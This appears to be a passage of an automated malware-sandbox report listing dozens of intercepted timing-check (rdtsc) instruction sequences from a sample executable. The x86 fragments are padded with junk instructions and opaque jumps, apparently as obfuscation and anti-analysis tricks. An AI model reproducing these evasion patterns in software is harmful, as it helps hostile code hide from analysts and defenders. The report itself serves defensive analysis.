Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020D72 second address: 1020D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020ECA second address: 1020EE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72FCC0D459h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10211F0 second address: 10211F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10211F6 second address: 102120E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCC0D454h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102120E second address: 1021230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F72FCF2ACDCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021230 second address: 1021241 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F72FCC0D446h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102139D second address: 10213A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F72FCF2ACC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10213A9 second address: 10213AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10213AD second address: 10213B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10213B1 second address: 10213B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025198 second address: 102519C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102519C second address: 10251BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F72FCC0D454h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10251BA second address: 10251E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F72FCF2ACCDh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub esi, dword ptr [ebp+122D1C44h] 0x00000012 push 00000000h 0x00000014 call 00007F72FCF2ACC9h 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c jg 00007F72FCF2ACC6h 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10251E9 second address: 10251F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F72FCC0D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10251F3 second address: 10251F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025353 second address: 1025359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025359 second address: 1025376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F72FCF2ACD2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025376 second address: 10253F2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F72FCC0D448h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c mov eax, dword ptr [ebp+122D38D6h] 0x00000012 jmp 00007F72FCC0D44Ah 0x00000017 popad 0x00000018 jp 00007F72FCC0D457h 0x0000001e push 00000000h 0x00000020 mov edi, dword ptr [ebp+122D39EEh] 0x00000026 call 00007F72FCC0D449h 0x0000002b push eax 0x0000002c jmp 00007F72FCC0D454h 0x00000031 pop eax 0x00000032 push eax 0x00000033 pushad 0x00000034 jne 00007F72FCC0D448h 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F72FCC0D453h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10253F2 second address: 102544D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72FCF2ACC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnp 00007F72FCF2ACD5h 0x00000015 jmp 00007F72FCF2ACCFh 0x0000001a mov eax, dword ptr [eax] 0x0000001c jne 00007F72FCF2ACDBh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F72FCF2ACD4h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102544D second address: 10254F0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F72FCC0D44Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jc 00007F72FCC0D44Bh 0x00000011 mov edi, 6B9D3249h 0x00000016 push 00000003h 0x00000018 mov ecx, dword ptr [ebp+122D38F2h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F72FCC0D448h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a call 00007F72FCC0D44Dh 0x0000003f and di, 3986h 0x00000044 pop esi 0x00000045 adc dl, 00000037h 0x00000048 push 00000003h 0x0000004a mov di, si 0x0000004d mov edi, dword ptr [ebp+122D375Eh] 0x00000053 push 96A57100h 0x00000058 push ecx 0x00000059 push esi 0x0000005a pushad 0x0000005b popad 0x0000005c pop esi 0x0000005d pop ecx 0x0000005e xor dword ptr [esp], 56A57100h 0x00000065 mov si, di 0x00000068 lea ebx, dword ptr [ebp+1245703Ch] 0x0000006e xor dword ptr [ebp+122D2C2Ch], eax 0x00000074 xchg eax, ebx 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F72FCC0D454h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10254F0 second address: 10254F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025597 second address: 102559F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102559F second address: 1025625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 xor dword ptr [esp], 5DA6E96Ah 0x0000000f or dword ptr [ebp+122D2F2Ah], esi 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F72FCD84E88h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 sbb edx, 3578036Ch 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F72FCD84E88h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 push 00000003h 0x00000055 or dword ptr [ebp+122D301Bh], eax 0x0000005b push 9DD78600h 0x00000060 pushad 0x00000061 jmp 00007F72FCD84E95h 0x00000066 push eax 0x00000067 push edx 0x00000068 je 00007F72FCD84E86h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044F5A second address: 1044F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F72FCF40426h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042FAD second address: 1042FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F72FCD84E86h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F72FCD84E86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104340D second address: 1043411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043411 second address: 1043417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043417 second address: 1043449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F72FCF40436h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F72FCF4042Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043449 second address: 104344F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043B47 second address: 1043B4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038865 second address: 10388A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F72FCD84E86h 0x0000000c jmp 00007F72FCD84E92h 0x00000011 jmp 00007F72FCD84E8Ch 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F72FCD84E8Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10440C4 second address: 10440CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10440CD second address: 10440D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10440D1 second address: 10440DF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10440DF second address: 10440E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10440E3 second address: 1044105 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72FCF40426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F72FCF40434h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044105 second address: 1044142 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72FCD84E86h 0x00000008 jmp 00007F72FCD84E98h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F72FCD84E99h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044142 second address: 1044146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10446D8 second address: 10446EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCD84E8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044DD7 second address: 1044DF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F72FCF40432h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044DF1 second address: 1044E06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jno 00007F72FCD84E86h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044E06 second address: 1044E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A656 second address: 104A65C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10494D5 second address: 10494DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10494DA second address: 1049502 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCD84E98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jc 00007F72FCD84E86h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049502 second address: 1049507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049C8D second address: 1049C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104AD4E second address: 104AD52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104AD52 second address: 104AD60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F72FCD84E8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104AD60 second address: 104AD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F72FCF40432h 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007F72FCF40426h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104AD8C second address: 104AD92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104AF51 second address: 104AF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FB1A second address: 104FB4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCD84E8Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F72FCD84E9Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FB4C second address: 104FB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007F72FCF40426h 0x00000009 jnc 00007F72FCF40426h 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F72FCF40433h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FCC7 second address: 104FCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FCCD second address: 104FCEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F72FCF40438h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FCEC second address: 104FD0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCD84E8Ch 0x00000007 jmp 00007F72FCD84E90h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FFF2 second address: 104FFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F72FCF40426h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105197F second address: 1051984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1051984 second address: 10519AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F72FCF40434h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push esi 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10519AA second address: 10519BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10519BA second address: 10519D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCF40436h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10519D4 second address: 10519D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10519D8 second address: 1051A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jg 00007F72FCF40443h 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F72FCF40428h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D311Ch], edi 0x00000033 jmp 00007F72FCF40436h 0x00000038 call 00007F72FCF40429h 0x0000003d jnp 00007F72FCF4043Eh 0x00000043 jmp 00007F72FCF40438h 0x00000048 push eax 0x00000049 push ecx 0x0000004a pushad 0x0000004b jmp 00007F72FCF40430h 0x00000050 jns 00007F72FCF40426h 0x00000056 popad 0x00000057 pop ecx 0x00000058 mov eax, dword ptr [esp+04h] 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jns 00007F72FCF40426h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105221D second address: 1052238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCD84E94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10527AB second address: 10527C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF40434h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10527C3 second address: 1052810 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F72FCD84E86h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F72FCD84E99h 0x00000013 jmp 00007F72FCD84E93h 0x00000018 xchg eax, ebx 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F72FCD84E88h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 nop 0x00000034 push esi 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052810 second address: 1052837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCF40430h 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007F72FCF40426h 0x00000015 jl 00007F72FCF40426h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052A34 second address: 1052A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052C27 second address: 1052C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054BC1 second address: 1054BE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCD84E8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F72FCD84E8Ch 0x0000000f jns 00007F72FCD84E86h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053B12 second address: 1053B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053B16 second address: 1053B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055259 second address: 1055263 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F72FCF40426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053B1A second address: 1053B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055263 second address: 1055292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF4042Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F72FCF40437h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055292 second address: 1055296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105611E second address: 1056124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055986 second address: 105598A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056124 second address: 105617A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F72FCF40428h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 call 00007F72FCF4042Ah 0x00000027 mov dword ptr [ebp+122D29D7h], edi 0x0000002d pop esi 0x0000002e push 00000000h 0x00000030 mov edi, 75472E60h 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D2F5Eh], eax 0x0000003d mov esi, dword ptr [ebp+122D2F39h] 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 jne 00007F72FCF40426h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105598A second address: 1055990 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105617A second address: 105617E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105617E second address: 105618D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F72FCD84E86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
